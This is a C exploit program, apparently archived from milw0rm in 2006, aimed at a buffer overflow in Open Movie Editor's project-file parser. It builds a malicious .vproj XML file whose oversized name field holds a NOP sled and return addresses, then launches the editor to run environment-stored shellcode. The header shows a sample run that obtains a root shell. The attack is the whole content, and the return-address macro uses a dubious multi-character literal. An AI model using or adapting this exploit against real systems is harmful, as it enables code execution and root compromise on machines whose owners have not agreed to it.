/*
 * openmovieeditor buffer overflow exploit
 * by qnix < qnix[at]bsdmail[dot]org
 *
 * Dont forget to change the return address (RETADDR)
 *
 *
 * --------------------------
 *  devil: ~ \> envt/envt -s 2
 *  Shellcode: linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes
 *  [+]      Setting memory for the shellcode.
 *  [+]      Copying shellcode to memory.
 *  [+]      Putting shellcode in the environment.
 *  [+]      Going into the environment (ENVT) and exiting ....
 *  Done 37 bytes loaded to (ENVT)
 *  devil: ~ \> envt/envt
 *  SHELLCODE FOUND IN 0xbffffbf5
 *  devil: ~ \> ./ome_buf 
 *
 *  *****************************************
 *  openmovieeditor buffer overflow exploit
 *  by qnix < qnix[at]bsdmail[dot]org
 *  Dont forget to change the return address
 *  *****************************************
 *
 *  Usage : ./ome_buf <filename> <openmovieeditor>
 *  devil: ~ \> ./ome_buf Video\ Projects/exploit.vproj /usr/local/bin/openmovieeditor 
 *
 *  [+] Video Projects/exploit.vproj Created|Opened
 *  [~] Desired Return Addr : 0xbffffbf5
 *  [~] Offset from ESP     : 0x0
 *  [+] Executing openmovieeditor
 *
 *  sh-3.1# whoami;id
 *  root
 *  uid=0(root) gid=0(root) groups=0(root)
 *  sh-3.1# exit
 *  exit
 *
 * --------------------------
 *
 * */

#include <stdio.h>
#include <stdlib.h>

#define RETADDR  '\xbf\xff\xfb\xf5'
#define SLEEP	sleep(1);

int main(int argc,char *argv[]) {
	FILE *output;

	int i, offset;
	long ret, *addr_ptr;
	char *buffer, *ptr;

	offset = 0;
	ret = RETADDR - offset;

	if(argc != 3) {
		fprintf(stderr,"\n*****************************************\n");
		fprintf(stderr,"openmovieeditor buffer overflow exploit\n");
		fprintf(stderr,"by qnix < qnix[at]bsdmail[dot]org\n");
		fprintf(stderr,"Dont forget to change the return address\n");
		fprintf(stderr,"*****************************************\n\n");

		fprintf(stderr,"Usage : %s <filename> <openmovieeditor>\n",argv[0]);
		return 0;
	}

	output = fopen(argv[1],"w+");

	if(output == 0) {
		fprintf(stderr,"\n[-] Cannot create %s\n",argv[1]);
		SLEEP
		return 0;
	} else {
		fprintf(stdout,"\n[+] %s Created|Opened\n",argv[1]);
		SLEEP
	}

	fprintf(output,"<?xml version=\"1.0\" standalone=\"no\" ?>\n");
	fprintf(output,"<open_movie_editor_project>\n");
	fprintf(output,"    <version>0.0.20060901</version>\n");

	/* evil code ^_^ */
	buffer = malloc(2300);
	ptr = buffer;
	addr_ptr = (long *) ptr;
	for(i=0; i < 2300; i+=4)
	{ *(addr_ptr++) = ret; }
	for(i=0; i < 1040; i++)
	{ buffer[i] = '\x90'; }
	ptr = buffer + 1044;
	buffer[2300-1] = 0;

	fprintf(output,"    <name>%s</name>\n",buffer);
	fprintf(output,"    <zoom value=\"1.000000\" />\n");
	fprintf(output,"    <scroll value=\"0\" />\n");
	fprintf(output,"    <stylus value=\"0\" />\n");
	fprintf(output,"    <video_tracks>\n");
	fprintf(output,"    <track />\n");
	fprintf(output,"    <track />\n");
	fprintf(output,"    </video_tracks>\n");
	fprintf(output,"    <audio_tracks>\n");
	fprintf(output,"    <track />\n");
	fprintf(output,"    <track />\n");
	fprintf(output,"    </audio_tracks>\n");
 	fprintf(output,"</open_movie_editor_project>\n");

	fprintf(stdout,"[~] Desired Return Addr : 0x%x\n", ret);
	SLEEP
	fprintf(stdout,"[~] Offset from ESP     : 0x%x\n", offset);
	SLEEP

	fprintf(stdout,"[+] Executing openmovieeditor\n\n");
	fclose(output);
	SLEEP

	execl(argv[2],"openmovieeditor",0);

	return 0;
}	

// milw0rm.com [2006-09-09]
